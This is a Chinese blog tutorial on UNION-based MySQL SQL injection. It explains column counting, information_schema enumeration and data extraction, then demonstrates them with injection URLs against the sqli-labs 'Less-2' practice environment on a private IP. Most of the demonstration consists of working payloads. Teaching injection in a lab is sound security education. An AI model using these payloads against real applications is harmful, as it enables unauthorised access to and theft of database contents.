Mysql注入 -- 联合注入

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
云数据库 RDS PostgreSQL,高可用系列 2核4GB
简介: Mysql注入 -- 联合注入

一、常用命令及函数

1、order by排序,获取数据有几个字段,后面小于等于字段数,都会返回结果,大于字段数返回错误

select * from users order by 3;

0a2653c851af460fa595bd959398a8f1.png

2、union select联合查询,后边必须跟一样的字段数

select * from users union select 1,2,5;

0eacb84100b54626af849e6b562bf92a.png

3、user()查看当前mysql用户

4、version()查看mysql版本信息

5、database()查看当前数据库名

select * from users union select user(),version(),database();

2d65d23f6d4748949b924e4057485923.png

二、跨库查询

1、获取aiyou数据库中表

select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou";

2、获取下一个表格

select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 0,1;
select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 1,1;
select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 2,1;

0a2653c851af460fa595bd959398a8f1.png

3、获取字段名

select * from users union select 1,2,column_name from information_schema.columns where table_name="bucuo";

0eacb84100b54626af849e6b562bf92a.png

4、获取字段内容

select * from users union select 1,2,username from users;

2d65d23f6d4748949b924e4057485923.png

三、实例演示(sqli环境)

1、判断表有多少字段,order by 3返回正常,所以有三个字段

http://192.168.139.129/sqli/Less-2/?id=1 order by 3

0a2653c851af460fa595bd959398a8f1.png

2、联合查询可以显示的数列,让前面的select语句报错,才能执行后面的select语句

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,3

0eacb84100b54626af849e6b562bf92a.png

3、获取数据库名字和版本信息,因为1不能显示,所以将2和3替换为version(),database()

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,version(),database()

2d65d23f6d4748949b924e4057485923.png

4、获取数据库security的表

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security"

2e9b90b2ca334476abebe75bafe6eeaa.png

获取第二个表、第三个表

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security" limit 1,1 --

4cebaac233b3433da32a72337a77fc60.png

5、获取表名为users的字段名

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users"
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users" limit 1,1 --

6de278e6d6694ce5bb08e7e842b7e74b.png

6、获取字段内容

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from users
http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from users limit 1,1 --

7a399525ddec4b77923c464820b33738 (1).png

禁止非法,后果自负

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
目录
相关文章
|
SQL 关系型数据库 MySQL
【MySQL进阶之路丨第十四篇】一文带你精通MySQL重复数据及SQL注入
【MySQL进阶之路丨第十四篇】一文带你精通MySQL重复数据及SQL注入
164 0
|
SQL 关系型数据库 MySQL
Python 与 MySQL 进行增删改查的操作以及防止SQL注入
Python 与 MySQL 进行增删改查的操作以及防止SQL注入
500 0
|
8月前
|
SQL 安全 关系型数据库
mysql注入-字符编码技巧
通过字符编码技巧,攻击者可以在SQL注入中绕过常见的输入验证机制,成功攻击数据库。因此,理解这些技巧及其可能的攻击路径,对防御SQL注入至关重要。开发者应采取多层次的安全措施,确保应用程序在不同字符集和编码环境下都能有效防御注入攻击。通过强制使用统一编码、严格的输入验证、预编译语句以及多层次的编码检查,可以有效地提高系统的安全性,防止SQL注入攻击带来的风险。
324 72
|
SQL 关系型数据库 MySQL
SpringBoot自定义配置注入的方式:自定义配置文件注入,从mysql读取配置进行注入
SpringBoot自定义配置注入的方式:自定义配置文件注入,从mysql读取配置进行注入
546 0
|
关系型数据库 MySQL
Mysql注入 -- 注入类型
Mysql注入 -- 注入类型
92 1
|
SQL 前端开发 关系型数据库
MYSQL 及 SQL 注入
MYSQL 及 SQL 注入
98 1
|
安全 关系型数据库 MySQL
Mysql注入 -- 数据库导出及读文件
Mysql注入 -- 数据库导出及读文件
194 0
|
关系型数据库 MySQL 数据库
Mysql注入 -- 布尔注入
Mysql注入 -- 布尔注入
112 0
|
安全 关系型数据库 MySQL
Mysql注入 -- 延时注入
Mysql注入 -- 延时注入
396 0
|
安全 关系型数据库 MySQL
Mysql注入 -- 报错注入
Mysql注入 -- 报错注入
168 0

推荐镜像

更多